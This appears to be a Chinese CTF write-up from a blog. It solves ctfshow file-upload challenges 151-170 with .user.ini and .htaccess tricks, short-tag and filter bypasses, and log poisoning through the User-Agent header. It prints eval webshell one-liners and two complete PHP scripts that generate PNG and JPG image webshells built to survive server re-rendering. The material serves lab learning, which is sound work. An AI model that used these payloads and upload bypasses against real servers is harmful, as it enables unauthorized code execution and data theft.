ctfshow WEB入门 文件上传151-170

 我才开始接触WEB安全,如果内容有什么错误或者补充之处,希望大家不吝赐教

151.前端验证

<button type="button" class="layui-btn" id="upload" lay-data="{url: 'upload.php', accept: 'images',exts:'png'}">

将上面代码png改成php,上传脚本

152.MIME类型

改成image/png

153. .user.ini

大前提需要文件上传所在文件夹里有php文件/或者有文件包含漏洞,然后访问能够访问该php文件才能使得配置文件加载里面的配置内容,如这道题的php文件其实就是/upload,能访问到这个页面就说明这个页面是该文件夹的index.php索引界面,只是index.php默认省略。

写入:auto_prepend_file=0.png(一定要传小点的图片,不然访问的时候容易出问题,且会加载一大坨)

然后再上传0.png,往里面插入后门代码。

然后就 1=system("cat ../flag.php");

这道题是发现了在/upload下页面显示了一个 nothing here。显然存在index.php,于是就想到用这个方法。

还是要修改前端JS,和MIME。

154&&155. 短标签

依然有index.php ->上传user.ini

多次尝试后,发现服务器对 php 进行了过滤

于是用<?= ?>短标签方式绕过,意为直接打印出等号后面的东西,如<?=$a; ?>,相当于<?php echo $a; ?>

155同样的方法

156.通配符和{}

在154&155基础上过滤了[]

可以用{}来替代[] 即<?=eval($_POST{1});?>

或者

目录通配符 : *(可以替代后面所有字符)或者?(一个一个的代替)

157&158.php的最后一个分号可以省略

只是过滤了分号,其他同上。php的最后一个分号可以省略。

159.日志包含+UA注入

方法1:过滤了这些括号想到用结构函数,include包含linux系统的用户访问日志,并把user-agent修改为想要执行的代码;且如果对例如log等文件目录做过滤,可以用连接符.进行绕过

方法2:直接用``反引号,直接执行system命令

该方法应该只有在LINUX有用。

160.过滤 空格 ` ( [ {

同样包含日志+UA注入

/var/log/nginx/access.log

161.+文件头检测

这里踩了个坑:我在BP复制PNG文件头的时候,粘贴会多一个字符,如图2:

如果要用PNG头的话就要粘贴后改它的16进制。

或者这题直接用GIF89a也可以

值得一提的是,我的命令给的是<?=include'var......?>,B站官方是在include和 '之间的16进制加了个0d(换行符),当然我没加最后也成功执行了,以后可以参考一下有些代码是否需要这个0d。

162&163

等我把文件包含学完来补充。

164.PNG二次渲染

因为发现URL是?image=的形式,疑似有图片包含点,先尝试data 伪协议包含

 有回显图片错误而不是404,也说明了这里是图片包含点。

在上传图片尝试中,发现了后端对图片有二次渲染,即修改其中很多内容。

且这道题对图片内容也有检测,也就是说不能像之前的题给它传一个图片头就完了,要有合法的图片内容。

我还尝试了对比上传两张图片的内容,在非修改处的地方进行插入木马,但是错了,不知道是因为我操作上有问题,还是说这样会导致图片内容不完整。

要方便操作,可以用到这个脚本生成一张即有完整内容格式,又包含木马的图片

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);
​
​
​
$img = imagecreatetruecolor(32, 32);
​
for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}
​
imagepng($img,'E:\各种各样的马\图片马.png');
​
?>

p数组中是给图片的颜色资源,整体上说就是依据p生成出来的图片包含木马:

至于这个脚本是怎么绕过二次渲染,我也不能完全理解脚本原理,也许是根据P数组创造图片马能符合二次渲染不被渲染到的规律?这里希望能得到大家的指点。

上传生成的图片,成功访问,抓包到上传的图片内容:

说明里面的后门代码生效了,且内容在图片内容里面,抓包或者010editor等里面才看得出来,浏览器看不出来。

开始常规操作:

得到flag。

但是当我传递0=eval,然后1=system()这种类型的时候,会对eval进行报错。

原因:PHP对于$a()的函数形式称为可变函数,如果$a是函数才可被调用,不是就会报错。而eval是一个语言构造器,而不是函数,就会报错。且在php7.1以上,assert也变成了语言构造器,也会报错。

这里附上这两篇文章:

动态调用函数时的命令执行对于eval()和assert()的执行问题_cannot call assert() with string argument dynamica-CSDN博客

https://www.cnblogs.com/0daybug/p/12610834.html

 

165.JPG二次渲染

其他的和上题一样,只是这道题要用到JPG的二次渲染。

要用这个脚本运行:

<?php
$miniPayload = '<?=eval($_POST[1]);?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    die('php-gd is not installed');
}
if(!isset($argv[1])) {
    die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
    $nullbytePayloadSize = $pad;
    $dis = new DataInputStream($argv[1]);
    $outStream = file_get_contents($argv[1]);
    $extraBytes = 0;
    $correctImage = TRUE;
    if($dis->readShort() != 0xFFD8) {
        die('Incorrect SOI marker');
    }
    while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
        $marker = $dis->readByte();
        $size = $dis->readShort() - 2;
        $dis->skip($size);
        if($marker === 0xDA) {
            $startPos = $dis->seek();
            $outStreamTmp =
                substr($outStream, 0, $startPos) .
                $miniPayload .
                str_repeat("\0",$nullbytePayloadSize) .
                substr($outStream, $startPos);
            checkImage('_'.$argv[1], $outStreamTmp, TRUE);
            if($extraBytes !== 0) {
                while((!$dis->eof())) {
                    if($dis->readByte() === 0xFF) {
                        if($dis->readByte !== 0x00) {
                            break;
                        }
                    }
                }
                $stopPos = $dis->seek() - 2;
                $imageStreamSize = $stopPos - $startPos;
                $outStream =
                    substr($outStream, 0, $startPos) .
                    $miniPayload .
                    substr(
                        str_repeat("\0",$nullbytePayloadSize).
                        substr($outStream, $startPos, $imageStreamSize),
                        0,
                        $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                    substr($outStream, $stopPos);
            } elseif($correctImage) {
                $outStream = $outStreamTmp;
            } else {
                break;
            }
            if(checkImage('payload_'.$argv[1], $outStream)) {
                die('Success!');
            } else {
                break;
            }
        }
    }
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
    global $correctImage;
    file_put_contents($filename, $data);
    $correctImage = TRUE;
    imagecreatefromjpeg($filename);
    if($unlink)
        unlink($filename);
    return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
    global $extraBytes, $correctImage;
    $correctImage = FALSE;
    if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
        if(isset($m[1])) {
            $extraBytes = (int)$m[1];
        }
    }
}
class DataInputStream {
    private $binData;
    private $order;
    private $size;
    public function __construct($filename, $order = false, $fromString = false) {
        $this->binData = '';
        $this->order = $order;
        if(!$fromString) {
            if(!file_exists($filename) || !is_file($filename))
                die('File not exists ['.$filename.']');
            $this->binData = file_get_contents($filename);
        } else {
            $this->binData = $filename;
        }
        $this->size = strlen($this->binData);
    }
    public function seek() {
        return ($this->size - strlen($this->binData));
    }
    public function skip($skip)
    {
        $this->binData = substr($this->binData, $skip);
    }
    public function readByte() {
        if($this->eof()) {
            die('End Of File');
        }
        $byte = substr($this->binData, 0, 1);
        $this->binData = substr($this->binData, 1);
        return ord($byte);
    }
​
    public function readShort() {
        if(strlen($this->binData) < 2) {
            die('End Of File');
        }
        $short = substr($this->binData, 0, 2);
        $this->binData = substr($this->binData, 2);
        if($this->order) {
            $short = (ord($short[1]) << 8) + ord($short[0]);
        } else {
            $short = (ord($short[0]) << 8) + ord($short[1]);
        }
        return $short;
    }
​
    public function eof() {
        return !$this->binData||(strlen($this->binData) === 0);
    }
}
?>
​

使用方法:在同一文件夹下放入这个脚本和图片,打开cmd命令:php jpg.php 1.jpg

图片要上传后经服务器渲染后再来运行脚本,这样可以使渲染修改得最小。

我用了十多张图片,才找到一张能拿后门的

其他的要么是这种:

要么是这种:

然后最后常规操作得到flag。

166.zip

上传一个zip格式文件,写下后门代码

点击 下载文件 进行抓包

这里我的后门代码给的是post一定要把请求方法改成post(URL前面的),我以前一直没有注意这个细节,想来有很多莫名其妙的问题多半是因为这个。

然后常规操作。

167. htaccess配置文件

将AddType application/x-httpd-php .txt写入.htaccess配置文件。

意为将.txt文件解析为.php文件。

所以如果能上传这个文件,就不需要前面的文件包含漏洞来配合文件上传。

经过实验,这关没有什么过滤。

直接抓包把.htaccess和写有后门的1.txt日上去。

然后常规操作。

168.基础免杀

这道题有个小坑,文件目录在upload下面,而不是点击那个下载文件所在的目录。

这道题把system和eval这些危险函数或语言构造器过滤了,所以可以用构造可变函数来绕过(也可以用反引号表示命令的方法):

可以再次验证一下164关提到的东西:

eval不是函数,是语言构造器,可变函数变量传递的值必须是函数。

169&170 plus日志包含

踩的一个坑:前端需要上传zip文件,服务器却检测MIME是不是image/.....

这道题直接把<都给过滤了。那么想到之前做题的思路,不能直接执行后门则找包含点。这道题URL不是之前的?file=这种有包含点的形式了,所以想到日志包含。

日志包含的时候我们是上传.user.ini文件,且要.user.ini生效的前提是访问本文件夹内的php文件,它才能起到配置作用,所以先上传了一个没有内容的1.php文件上去,再上传.user.ini文件包含日志:

成功了,再给UA头注入后门,post恶意代码:

查看源代码发现最后个UA头成功执行命令:

然后还是常规操作。

最后在flagaa.php下得到flag。

  • 27
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值